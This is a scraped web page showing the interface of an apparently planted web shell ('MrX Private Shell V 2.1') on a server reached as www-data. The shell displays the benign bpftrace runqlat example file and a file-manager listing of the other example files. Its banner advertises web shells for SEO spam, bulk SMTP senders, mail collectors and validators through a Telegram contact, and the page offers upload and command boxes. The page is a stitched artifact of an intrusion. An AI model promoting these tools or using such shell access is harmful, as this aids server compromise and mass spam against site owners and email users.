__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
Demonstrations of runqlat, the Linux BPF/bpftrace version.


This traces time spent waiting in the CPU scheduler for a turn on-CPU. This
metric is often called run queue latency, or scheduler latency. This tool shows
this latency as a power-of-2 histogram in nanoseconds. For example:

# ./runqlat.bt
Attaching 5 probes...
Tracing CPU scheduler... Hit Ctrl-C to end.
^C



@usecs:
[0]                    1 |                                                    |
[1]                   11 |@@                                                  |
[2, 4)                16 |@@@                                                 |
[4, 8)                43 |@@@@@@@@@@                                          |
[8, 16)              134 |@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@                     |
[16, 32)             220 |@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@|
[32, 64)             117 |@@@@@@@@@@@@@@@@@@@@@@@@@@@                         |
[64, 128)             84 |@@@@@@@@@@@@@@@@@@@                                 |
[128, 256)            10 |@@                                                  |
[256, 512)             2 |                                                    |
[512, 1K)              5 |@                                                   |
[1K, 2K)               5 |@                                                   |
[2K, 4K)               5 |@                                                   |
[4K, 8K)               4 |                                                    |
[8K, 16K)              1 |                                                    |
[16K, 32K)             2 |                                                    |
[32K, 64K)             0 |                                                    |
[64K, 128K)            1 |                                                    |
[128K, 256K)           0 |                                                    |
[256K, 512K)           0 |                                                    |
[512K, 1M)             1 |                                                    |

This is an idle system where most of the time we are waiting for less than
128 microseconds, shown by the mode above. As an example of reading the output,
the above histogram shows 220 scheduling events with a run queue latency of
between 16 and 32 microseconds.

The output also shows an outlier taking between 0.5 and 1 seconds: ??? XXX
likely work was scheduled behind another higher priority task, and had to wait
briefly. The kernel decides whether it is worth migrating such work to an
idle CPU, or leaving it wait its turn on its current CPU run queue where
the CPU caches should be hotter.


I'll now add a single-threaded CPU bound workload to this system, and bind
it on one CPU:

# ./runqlat.bt
Attaching 5 probes...
Tracing CPU scheduler... Hit Ctrl-C to end.
^C



@usecs:
[1]                    6 |@@@                                                 |
[2, 4)                26 |@@@@@@@@@@@@@                                       |
[4, 8)                97 |@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@|
[8, 16)               72 |@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@              |
[16, 32)              17 |@@@@@@@@@                                           |
[32, 64)              19 |@@@@@@@@@@                                          |
[64, 128)             20 |@@@@@@@@@@                                          |
[128, 256)             3 |@                                                   |
[256, 512)             0 |                                                    |
[512, 1K)              0 |                                                    |
[1K, 2K)               1 |                                                    |
[2K, 4K)               1 |                                                    |
[4K, 8K)               4 |@@                                                  |
[8K, 16K)              3 |@                                                   |
[16K, 32K)             0 |                                                    |
[32K, 64K)             0 |                                                    |
[64K, 128K)            0 |                                                    |
[128K, 256K)           1 |                                                    |
[256K, 512K)           0 |                                                    |
[512K, 1M)             0 |                                                    |
[1M, 2M)               1 |                                                    |

That didn't make much difference.


Now I'll add a second single-threaded CPU workload, and bind it to the same
CPU, causing contention:

# ./runqlat.bt
Attaching 5 probes...
Tracing CPU scheduler... Hit Ctrl-C to end.
^C



@usecs:
[0]                    1 |                                                    |
[1]                    8 |@@@                                                 |
[2, 4)                28 |@@@@@@@@@@@@                                        |
[4, 8)                95 |@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@           |
[8, 16)              120 |@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@|
[16, 32)              22 |@@@@@@@@@                                           |
[32, 64)              10 |@@@@                                                |
[64, 128)              7 |@@@                                                 |
[128, 256)             3 |@                                                   |
[256, 512)             1 |                                                    |
[512, 1K)              0 |                                                    |
[1K, 2K)               0 |                                                    |
[2K, 4K)               2 |                                                    |
[4K, 8K)               4 |@                                                   |
[8K, 16K)            107 |@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@      |
[16K, 32K)             0 |                                                    |
[32K, 64K)             0 |                                                    |
[64K, 128K)            0 |                                                    |
[128K, 256K)           0 |                                                    |
[256K, 512K)           1 |                                                    |

There's now a second mode between 8 and 16 milliseconds, as each thread must
wait its turn on the one CPU.


Now I'll run 10 CPU-bound threads on one CPU:

# ./runqlat.bt
Attaching 5 probes...
Tracing CPU scheduler... Hit Ctrl-C to end.
^C



@usecs:
[0]                    2 |                                                    |
[1]                   10 |@                                                   |
[2, 4)                38 |@@@@                                                |
[4, 8)                63 |@@@@@@                                              |
[8, 16)              106 |@@@@@@@@@@@                                         |
[16, 32)              28 |@@@                                                 |
[32, 64)              13 |@                                                   |
[64, 128)             15 |@                                                   |
[128, 256)             2 |                                                    |
[256, 512)             2 |                                                    |
[512, 1K)              1 |                                                    |
[1K, 2K)               1 |                                                    |
[2K, 4K)               2 |                                                    |
[4K, 8K)               4 |                                                    |
[8K, 16K)              3 |                                                    |
[16K, 32K)             0 |                                                    |
[32K, 64K)           478 |@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@|
[64K, 128K)            1 |                                                    |
[128K, 256K)           0 |                                                    |
[256K, 512K)           0 |                                                    |
[512K, 1M)             0 |                                                    |
[1M, 2M)               1 |                                                    |

This shows that most of the time threads need to wait their turn, with the
largest mode between 32 and 64 milliseconds.


There is another version of this tool in bcc: https://github.com/iovisor/bcc
The bcc version provides options to customize the output.

Filemanager

Name Type Size Permission Actions
bashreadline_example.txt File 722 B 0644
biolatency_example.txt File 1.75 KB 0644
biosnoop_example.txt File 2.01 KB 0644
biostacks_example.txt File 1.87 KB 0644
bitesize_example.txt File 2.93 KB 0644
capable_example.txt File 2.6 KB 0644
cpuwalk_example.txt File 4.8 KB 0644
dcsnoop_example.txt File 4.5 KB 0644
execsnoop_example.txt File 1.5 KB 0644
gethostlatency_example.txt File 923 B 0644
killsnoop_example.txt File 846 B 0644
loads_example.txt File 864 B 0644
mdflush_example.txt File 1.82 KB 0644
naptime_example.txt File 844 B 0644
oomkill_example.txt File 1.63 KB 0644
opensnoop_example.txt File 2.47 KB 0644
pidpersec_example.txt File 1.47 KB 0644
runqlat_example.txt File 8.43 KB 0644
runqlen_example.txt File 980 B 0644
setuids_example.txt File 2.38 KB 0644
ssllatency_example.txt File 4.4 KB 0644
sslsnoop_example.txt File 1.87 KB 0644
statsnoop_example.txt File 2.67 KB 0644
swapin_example.txt File 549 B 0644
syncsnoop_example.txt File 541 B 0644
syscount_example.txt File 1.12 KB 0644
tcpaccept_example.txt File 1.32 KB 0644
tcpconnect_example.txt File 1.06 KB 0644
tcpdrop_example.txt File 1.23 KB 0644
tcplife_example.txt File 1.56 KB 0644
tcpretrans_example.txt File 1.13 KB 0644
tcpsynbl_example.txt File 940 B 0644
threadsnoop_example.txt File 1.15 KB 0644
undump_example.txt File 680 B 0644
vfscount_example.txt File 1.17 KB 0644
vfsstat_example.txt File 929 B 0644
writeback_example.txt File 1.92 KB 0644
xfsdist_example.txt File 3.34 KB 0644
Filemanager